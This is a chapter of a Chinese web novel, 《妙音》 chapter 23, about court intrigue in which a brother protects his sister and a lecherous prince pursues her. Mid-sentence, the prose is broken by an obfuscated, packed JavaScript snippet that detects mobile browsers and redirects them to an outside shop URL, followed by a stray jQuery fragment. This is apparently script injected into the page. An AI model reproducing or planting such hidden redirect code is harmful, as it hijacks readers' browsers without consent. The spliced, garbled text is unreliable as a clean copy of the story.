23. 第 23 章
作品:《妙音》 裴姝咬牙道:“纵然是世子的妹妹,也不该如此以下犯上……”
裴姝的话没能说完,就见褚明珏朝她看过来一眼,那眼神漫不经心却又极具威慑力,她一时被震得不敢说话。
褚明珏道:“舍妹娇纵,毕竟多年不在侯府,她只是不爱掩饰自己的性情。若是给公主添麻烦了,还请公主殿下多担待。”
众人心头一凛,才知道褚妙音的身份,不由得赞叹褚明珏对她的维护。
京城贵女们多半对褚明珏暗自仰慕,只因褚明珏从来都是京城众多郎君中最为出挑的那个,家世煊赫,容貌更是一骑绝尘,年纪轻轻便已得了陛下爱重,将来更是前途无量。何况褚明珏还守身自好,府中连一个通房也不曾有,这在一堆风流的京城公子中更是难得一见。
褚明珏话中的意思很明白了,他就是要护着这个妹妹。
虽然嘴上说什么褚妙音给公主添了麻烦,可他那副语气分明毫无责怪褚妙音的意思,反倒像是……与有荣焉。
他对这个妹妹的确是娇纵。
何况褚明珏在朝中如日中天,谁敢擅自对他的妹妹不敬?说着请公主殿下多担待,语气谦卑可实则却是大有威慑的意思在。
裴姝不愿担待也只能担待着了。
裴姝历来以权压人,如今也算是尝到一会被权势所压的滋味了,百般不甘地假笑道:“……既然是褚世子的妹妹,那自然……算了。”
裴姝脸上无光,悻悻离去,沈薇月得以免去杖刑,连声对褚妙音道谢,看她的目光是全然的感激。
褚妙音借花献佛,笑道不必客气,待沈薇月走后,褚明珏便看褚妙音一眼,显是猜到了她的意图:“你一早便猜到我会帮你?”
褚妙音道:“兄长你们在那边看热闹,眼见如花似玉的沈姑娘被人欺负,仍然袖手旁观,我实在过意不去,正好借兄长的手出面相助。”
什么如花似玉……
褚明珏已然习惯了褚妙音的语出惊人,他方才并无注意沈薇月的相貌。
此刻,褚明珏只道:“你今日帮她一回,未见得来日她不会再受欺凌。”
褚妙音道:“来日的事谁能说得准呢?兄长难道就会一辈子护着我吗?”
她存心试探,是有意报复上次褚明珏不舍得给她熏香的配方。
褚明珏好似没有听出来她的话外之音,平静如水道:“你是我的妹妹,我为何不能一辈子护着你?”
褚妙音弯了弯眼,道:“兄长真好,我自然要与兄长做一世好兄妹。”
宴席上另一边,姜窈拉着梁云韶去给裴照见礼。
梁云韶仍然是犹豫,姜窈却信誓旦旦地道:“韶儿,你没看见方才五皇兄看褚妙音的那眼神吗?分明是有意于她。”
将才褚妙音在席间大出风头,引得一旁的郎君们也纷纷侧目,无论褚妙音性情如何,她实在生得好颜色,实在很难不令人注意。
这其中,也有裴照的目光。
姜窈道:“是褚妙音自己要出风头,五皇兄才看上了她,我们只不过顺水推舟而已,哪里有错?”
梁云韶说不出话,只被姜窈强拉着去见裴照。
裴照正拨弄着酒杯,见她们来到,便含笑开口:“姜窈表妹,还有梁姑娘,何事相寻?”
姜窈道:“表哥方才的眼神都快黏在褚二姑娘身上了,可是动了心思?”
梁云韶的心悬了起来,她也等着听裴照的回答。
裴照挑眉道:“表妹何时开始关心这种事了?”
姜窈道:“我自然是好心为表哥分忧,说不定还能促成一桩金玉良缘呢?表哥若是好奇褚妙音的事,不妨问韶儿,她与褚妙音一同住在侯府,自然最了解褚妙音。”
话已说到这份上,裴照也懒得再伪装下去,索性也直言问起梁云韶:“梁姑娘果真了解那位褚姑娘?不知道褚姑娘可有婚配,许过什么人家没有人?”
若是个寻常人家的女儿,裴照自然不用瞻前顾后地问上这许多,想要便直接夺过来了。可方才他也见到了褚明珏对这位妹妹的在意,纵然再怎么色欲熏心,也不得不掂量一下褚妙音的分量。
梁云韶犹豫片刻,道:“没有……二妹妹并无婚配,侯府尚未来得及替她定下人家。”
裴照便起了一点心思,又问:“这褚姑娘的身世又是怎么回事,她既是褚世子的妹妹,怎么会流落民间?”
梁云韶便一五一十地说了:“二妹妹非是褚夫人所出,生母多年前便已离世,寄养在乡下,前不久才接回侯府。”
裴照眼中兴味更浓,既然只是个身份低微的庶女,他自然不用顾忌那么多。
想来褚明珏对她也只是寻常兄妹之情,不会为了一个庶妹同他作对。
梁云韶看见裴照势在必得的眼神,心下暗暗惊惶,纠结不已。
姜窈拉着她到旁边去,继续劝她:“韶儿,你就别再担心了,此事我们不必插手,皇兄自然会自己拿主意。无论结局如何,都是褚妙音的命。谁让她自己要出风头呢?要是被皇兄收入房内,也是她咎由自取。不管怎么样,都不干我们的事。”
梁云韶没再争辩,姜窈说的在理,她什么也没做,只是袖手旁观而已……
要怪就怪她自己好了,谁让她生得天姿国色,又要在众人面前逞威风。
梁云韶告诉自己,她没有做错什么。
褚妙音在席上用完膳,便独自去了西郊一处花园赏花,这里的花不比侯府,却格外雅致多姿。
她自己一个人赏花正自在着,忽然一道玉袍身影闯入她的视野,没由来挡住了她赏花的视线。
褚妙音没好气地抬眼,便瞧见一个陌生的青年,此人长得还算齐整,只可惜眼底下一层乌青,穿着再华贵也掩盖不住那一层涎眉邓眼的猥琐气质。
褚妙音眼皮一跳,总觉得来者不善。
裴照最是怜香惜玉,何况对褚妙音这种绝色佳人,他有意俘获褚妙音的芳心,此刻便也不像以往那般急色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239864|197676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只彬彬有礼道:“褚姑娘,方才在席间见到褚姑娘一番高谈阔论,本宫很是欣赏褚姑娘。”
褚妙音探询地看着裴照,一点没有女儿家的羞涩,只问道:“你是谁?”
裴照一怔,没料到褚妙音竟然完全不认得自己,他以为自己在京城已足够有名。此刻他也不尴尬,只耐心介绍自己:“本宫乃是姝儿一母同胞的兄长,在宫中行五。”
原来是五皇子,褚妙音在侯府时也曾听说过一些关乎裴照的流言,如今看来,皇宫采花贼,名不虚传。
她不是不通晓人事的姑娘,在乡下时便有许多男人自信满满地前来纠缠她,她最熟悉裴照的这种眼神,将她视为囊中之物,以为可以手到擒来。
嘴上说着诗词歌赋,心里想的却全是如何同她春风一度。
也不看看自己几斤几两,长得什么歪瓜裂枣的模样,也好意思来肖想她?
褚妙音道:“原来是五皇子,真是失敬了。”
裴照饶有兴致地看着褚妙音,发觉她果真与寻常女子毫不相同,寻常人家的女子在他面前一向畏手畏脚,何况褚妙音还是在乡野长大的,却对他没有丝毫畏惧。
这倒是令他愈发惊喜了。
裴照此刻微微倾身,从花间摘了一朵粉色牡丹花,对褚妙音殷勤道:“名花合该赠美人,褚姑娘可否听过‘名花倾国两相欢’一诗?”
裴照笑着道:“褚姑娘国色天香,有倾城之色,佩牡丹是最为合适不过,褚姑娘以为呢?”
眼看裴照想要亲手为她簪上这牡丹花,褚妙音立即后退一步,笑容已是有些冷了,道:“这诗是好诗,可五皇子说这句诗,只怕兆头不好吧?”
大周百姓都听过这首脍炙人口的诗,说的是某一风烛残年的老皇帝厚颜无耻地强夺儿媳为妾的故事,这样恶心至极的故事,也有人传颂为爱情。
褚妙音本就厌烦裴照,此刻对这人的厌恶更上一层楼,她这是什么运气,竟然招来这样一朵烂桃花。
固然她想要借婚事早日离开侯府,可她却从不打算嫁入皇室,她对皇族的作派也厌恶得很,不乐意永生关在宫墙之中。
何况裴照还拿这首诗来恶心她。
裴照不知道自己哪里触了褚妙音的霉头,不解道:“褚姑娘这话从何说起,本宫竟一时有些不明白。”
褚妙音冷笑道:“五殿下饱读诗书,连这意思都听不明白吗?”
她话中讥讽意味浓厚,然而裴照却被她唇间那一抹笑勾得心旌动摇,美人嗔怒,也是别有风味,令他更加垂涎不已。
裴照道:“请褚姑娘替本宫解惑。”
褚妙音便冷冷道:“既然如此,那臣女便就直言了。”
裴照突然眉心一跳,似乎有种不妙的预感。
可此刻再阻止褚妙音说下去也来不及了。
她道:“当今陛下春秋鼎盛,后宫正是空悬之际,五殿下对这诗奉为圭臬,难道不怕自己也重蹈寿王殿下的覆辙?还是说——”

